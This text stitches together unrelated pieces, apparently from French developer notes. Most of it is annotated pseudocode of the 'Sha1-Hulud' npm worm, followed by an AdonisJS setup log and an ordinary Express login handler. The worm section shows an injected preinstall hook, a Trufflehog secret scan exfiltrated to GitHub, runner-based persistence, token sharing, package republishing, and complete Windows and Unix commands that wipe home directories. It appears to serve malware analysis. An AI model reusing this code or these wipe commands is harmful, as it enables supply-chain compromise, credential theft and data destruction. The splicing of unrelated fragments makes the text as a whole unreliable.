// Ce fichier est ajouté aux paquets de la victime sous le nom setup_bun.js.
#!/usr/bin/env node
async function downloadAndSetupBun() {
  // Téléchargements et installations bun
  let command = process.platform === 'win32' 
    ? 'powershell -c "irm bun.sh/install.ps1|iex"'
    : 'curl -fsSL https://bun.sh/install | bash';
 
  execSync(command, { stdio: 'ignore' });
 
  // Exécute le logiciel malveillant proprement dit.
  runExecutable(bunPath, ['bun_environment.js']);
}

async function scanFilesystem() {
  let scanner = new Trufflehog();
  await scanner.initialize();
 
  // Analyse le répertoire personnel de l'utilisateur à la recherche de secrets
  let findings = await scanner.scanFilesystem(os.homedir());
 
  // Télécharge les résultats vers le référentiel d'exfiltration
  await github.saveContents("truffleSecrets.json", 
    JSON.stringify(findings));
}

async function createRepo(name) {
  // Crée un référentiel avec un marqueur de description spécifique.
  let repo = await this.octokit.repos.createForAuthenticatedUser({
    name: name,
    description: "Sha1-Hulud: The Second Coming.", // Marqueur pour retrouver les dépôts ultérieurement
    private: false,
    auto_init: false,
    has_discussions: true
  });
 
  // Installe GitHub Actions Runner pour la persistance
  if (await this.checkWorkflowScope()) {
    let token = await this.octokit.request(
      "POST /repos/{owner}/{repo}/actions/runners/registration-token"
    );
    await installRunner(token); // Installe un runner auto-hébergé
  }
 
  return repo;
}

// Comment le réseau de logiciels malveillants partage les jetons :
async fetchToken() {
  // Recherche sur GitHub les dépôts comportant le marqueur d'identification
  let results = await this.octokit.search.repos({
    q: '"Sha1-Hulud: The Second Coming."',
    sort: "updated"
  });
 
  // Essaye de récupérer les jetons des référentiels compromis
  for (let repo of results) {
    let contents = await fetch(
      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`
    );
 
    let data = JSON.parse(Buffer.from(contents, 'base64').toString());
    let token = data?.modules?.github?.token;
 
    if (token && await validateToken(token)) {
      return token;  // Utilise un jeton provenant d'un autre système infecté
    }
  }
  return null;  // Aucun jeton valide trouvé dans le réseau
}

async function updatePackage(packageInfo) {
  // Télécharge le paquet original
  let tarball = await fetch(packageInfo.tarballUrl);
 
  // Extrait et modifier package.json
  let packageJson = JSON.parse(await readFile("package.json"));
 
  // Ajoute un script de préinstallation malveillant
  packageJson.scripts.preinstall = "node setup_bun.js";
 
  // Incrémente la version
  let version = packageJson.version.split(".").map(Number);
  version[2] = (version[2] || 0) + 1;
  packageJson.version = version.join(".");
 
  // Installateur de porte dérobée groupé
  await writeFile("setup_bun.js", BACKDOOR_CODE);
 
  // Reconditionne et publie
  await Bun.$`npm publish ${modifiedPackage}`.env({
    NPM_CONFIG_TOKEN: this.token
  });
}

// CRITIQUE : l'échec de la validation du jeton déclenche sa destruction.
async function aL0() {
  let githubApi = new dq();
  let npmToken = process.env.NPM_TOKEN || await findNpmToken();
 
  // Essaye de trouver ou de créer un accès GitHub.
  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {
    let fetchedToken = await githubApi.fetchToken(); // Recherche des jetons dans les référentiels compromis
 
    if (!fetchedToken) {  // Accès GitHub impossible
      if (npmToken) {
        // Revenir à la propagation NPM uniquement
        await El(npmToken);
      } else {
        // DÉCLENCHEUR DE DESTRUCTION : Pas d'accès à GitHub ET pas d'accès à NPM
        console.log("Error 12");
        if (platform === "windows") {
          // Tentatives de suppression de tous les fichiers utilisateur et de réécriture des secteurs du disque
          Bun.spawnSync(["cmd.exe", "/c", 
            "del /F /Q /S \"%USERPROFILE%*\" && " +
            "for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & " +
            "cipher /W:%USERPROFILE%"  // Remplace les données supprimées
          ]);
        } else {
          // Tentatives de destruction de tous les fichiers modifiables dans le répertoire personnel
          Bun.spawnSync(["bash", "-c", 
            "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | " +
            "xargs -0 -r shred -uvz -n 1 && " +  // Overwrite and delete
            "find \"$HOME\" -depth -type d -empty -delete"  // Supprime les répertoires vides
          ]);
        }
        process.exit(0);
      }
    }
  }
}

var object_in = {texte:"Mon texte.",ident:"action01"};
var options = {algorithm:"md5"};
var res = objectHash (object_in, options);

 
C:\nodejs>npm init adonisjs@latest accueil -- --kit=web --db=sqlite --auth-guard=session
 
> npx
> create-adonisjs accueil --kit=web --db=sqlite --auth-guard=session
 
 
     _       _             _         _ ____
    / \   __| | ___  _ __ (_)___    | / ___|
   / _ \ / _` |/ _ \| '_ \| / __|_  | \___ \
  / ___ \ (_| | (_) | | | | \__ \ |_| |___) |
 /_/   \_\__,_|\___/|_| |_|_|___/\___/|____/
 
 
> Download starter kit (35 ms)
  Failed to download https://api.github.com/repos/adonisjs/web-starter-kit/tarball/main: TypeError: fetch failed
> Install packages
> Prepare application
> Configure Lucid
> Configure Auth

    static async login(req, res) {
        const userAgent = req.headers['user-agent'] || '';
        const ipAddress = req.ip || req.connection.remoteAddress || 'inconnue';
        const { identifiant, password } = req.body;
 
        const loginSchema = Joi.object({
            identifiant: Joi.string().trim().required(),
            password: Joi.string().required()
        });
 
        // Validation Joi
        const { error } = loginSchema.validate({ identifiant, password });
        if (error) {
            return res.status(400).json({ message: "Identifiant ou mot de passe manquant" });
        }
 
        try {
            // 1. Récupération de l'utilisateur
            const query = `
            SELECT 
                c.id_contributeur,
                c.nom_contributeur,
                c.identifiant,
                c.email,
                c.password,
                c.id_role
            FROM api_projet.contributeur c
            WHERE c.identifiant = $1
            `;
 
            const result = await pool.query(query, [identifiant]);
            if (result.rowCount === 0) {
            return res.status(401).json({ message: "Identifiant ou mot de passe incorrect" });
            }
 
            const utilisateur = result.rows[0];
 
            // 2. Vérification du mot de passe
            const passwordValid = await bcrypt.compare(password, utilisateur.password);
            if (!passwordValid) {
            return res.status(401).json({ message: "Identifiant ou mot de passe incorrect" });
            }
 
            // 3. Vérification de session existante pour ce user-agent
            const sessionCheck = await pool.query(
            `SELECT id_session FROM api_projet.sessions
            WHERE id_contributeur = $1 AND user_agent = $2`,
            [utilisateur.id_contributeur, userAgent]
            );
 
            if (sessionCheck.rowCount > 0) {
            return res.status(200).json({ message: "Déjà connecté sur ce navigateur." });
            }
 
            // 4. Création de la session
            const sessionId = crypto.randomUUID();
 
            await pool.query(
            `INSERT INTO api_projet.sessions (id_session, id_contributeur, ip_address, user_agent, expires_at)
            VALUES ($1, $2, $3, $4, NOW() + interval '7 days')`,
            [sessionId, utilisateur.id_contributeur, ipAddress, userAgent]
            );
 
            // 5. Cookie spécifique (évite collisions si plusieurs comptes connectés)
           const cookieName = `session_id_${utilisateur.id_contributeur}`;
 
            res.cookie(cookieName, sessionId, {
            httpOnly: true,
            secure: true,
            sameSite: "none",
            maxAge: 3 * 60 * 60 * 1000, // 3 heures
            path: "/"
            });
 
            return res.status(200).json({ message: "Connexion réussie" });
 
        } catch (err) {
            console.error("Erreur login :", err);
            return res.status(500).json({ message: "Erreur serveur lors de la connexion" });
        }
    };